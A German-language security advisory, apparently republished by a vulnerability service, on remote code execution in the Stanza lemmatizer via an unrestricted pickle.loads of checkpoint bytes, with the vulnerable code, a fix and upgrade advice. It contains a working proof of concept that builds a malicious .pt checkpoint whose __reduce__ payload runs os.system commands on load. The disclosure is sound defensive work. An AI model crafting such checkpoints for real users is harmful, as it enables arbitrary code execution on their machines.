Hoch

Stanza: RCE über Pickle-Deserialisierung im Lemmatizer

  • Veröffentlicht: 03.11.2026
  • Aktualisiert: 07.11.2026 10:00

Übersicht

Das Laden eines von einem Angreifer bereitgestellten Lemma-.pt führt beliebigen Code im Kontext des ladenden Benutzers aus. Seit 1.14.0 speichert der Lemmatizer pos_dict als gzip-komprimiertes Pickle im Feld dicts des Checkpoints (ein bytes-Wert). torch.load(weights_only=True) behandelt bytes als primitiven Typ und leitet ihn ungeprüft weiter, sodass dessen Positivliste den internen Datenstrom nicht analysiert. Anschließend übergibt Trainer.load diese Bytes an ein uneingeschränktes pickle.loads – der einzige direkte pickle.loads-Aufruf im Code. Folglich bietet weights_only=True keinen Schutz, und das Laden des Modells führt zur Codeausführung.

Dieses Verhalten wurde durchgängig unter Stanza 1.14.0 mit PyTorch 2.13.0 und CPython 3.13.7 verifiziert: Ein manipulierter Checkpoint, dessen Payload __reduce__ den Wert (os.system, (cmd,)) zurückgibt, führte den Befehl unmittelbar beim Ladevorgang aus (die Markierungsdatei ergab uid=501(...), executed_by=...).

Nachgelagerte Anwendungen sind verwundbar, wenn sie eine Pipeline erstellen, die einen vom Aufrufer bereitgestellten Lemmatizer-Checkpoint lädt, beispielsweise über stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (oder das Laden eines nicht vertrauenswürdigen Modells über eine benutzerdefinierte Registry). Dieser Aufruf führt direkt über Trainer.load zu _unpack_pos_dict und führt das eingebettete Pickle bei der Konstruktion aus.

Verwundbarer Pfad

stanza/models/lemma/trainer.py:

python
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
python
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Erreichbar über die dokumentierte API: stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load.

Jeder gemeinsam genutzte Checkpoint, jede benutzerdefinierte Registry oder ein vom Aufrufer übergebener Pfad lemma_model_path erreicht diesen Code. Für benutzerdefinierte Pfade wird keine Prüfsummenvalidierung durchgeführt (eine MD5-Prüfung existiert nur im Standard-Download-Ablauf). Die Ausführung wird beim Pipeline-Aufbau ausgelöst, noch bevor Inferenzdaten verarbeitet werden.

Hinweis: Dies ist nicht der in CVE-2026-54499 behobene weights_only=False-Fallback; der äußere Ladeprozess bleibt sicher. Das Sicherheitsrisiko besteht ausschließlich im inneren Pickle-Stream.

Minimaler Proof of Concept

python
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

Der PoC ruft _unpack_pos_dict direkt auf – exakt der Ausdruck bei trainer.py:378. Um diesen Pfad über stanza.Pipeline(...) zu erreichen, muss die Datei zusätzlich eine wohlgeformte config/vocab-Struktur aufweisen, damit load bis Zeile 378 ausgeführt wird (durch Quellcode-Analyse belegt); die Ausführung nach der Deserialisierung wurde zur Laufzeit bestätigt.

Behebung

Deserialisieren Sie den inneren Stream mit der RestrictedUnpickler-Logik, die das Projekt bereits in stanza/models/common/doc.py einsetzt (beschränkt auf tuple/list/dict):

python
from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

Ein reguläres pos_dict ist ein verschachteltes {pos: {word: lemma}}-String-Mapping ohne globale Klassen- oder Funktionsdefinitionen und lädt problemlos, während ein os.system-Payload von find_class abgewiesen wird. JSON wäre gleichermaßen geeignet (alle Schlüssel/Werte sind Strings) und würde Pickle vollständig entfernen. Die Maßnahme sollte auf _unpack_pos_dict sowie zur Zukunftskompatibilität auf _pack_pos_dict angewendet werden.

Was zu tun ist

Aktualisieren Sie Stanza auf Version 1.15.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) stanza >= 1.14.0, < 1.15.0 1.15.0

Verweise

CVSS-Wert 7.8/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-502, CWE-94
Plattform
Python (PyPI)
Paket
stanza
Veröffentlicht
03.11.2026
Aktualisiert
07.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-gh9r-c94j-cmp5 - CC BY 4.0

Schwachstellenhistorie: stanza

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
06.2026 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Stanza: RCE über Pickle-Deserialisierung im Lemmatizer dieser Eintrag
    Hoch · 7.8 CVE-2026-115878 >= 1.14.0, < 1.15.0 1.15.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.